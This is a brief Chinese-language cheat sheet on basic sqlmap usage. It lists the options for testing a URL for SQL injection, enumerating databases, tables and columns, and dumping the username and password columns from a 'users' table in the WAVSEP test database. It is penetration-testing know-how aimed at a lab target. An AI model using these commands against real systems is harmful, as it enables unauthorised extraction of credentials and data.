SQLmap基本使用

一、基本使用

判断是否存在注入点

-u"url" --batch 

                                                   

 获取全部数据库

 -u  "url"  --dbs --batch      

                                         

获取当前数据库

-u "url" --current-db --batch    

                                 

获取当前数据库里所有表

-u "url" -D wavsepDB --tables --batch      

               

 获取表的字段

-u "url" -D wavsepDB -T users --columns --batch  

 

获取字段数据

-u "url" -D wavsepDB -T users -C "password,username" --dump--batch

（--start 1 --stop 100 这样就取1-100条数据）

 

 

二、sqlmap选项

  目标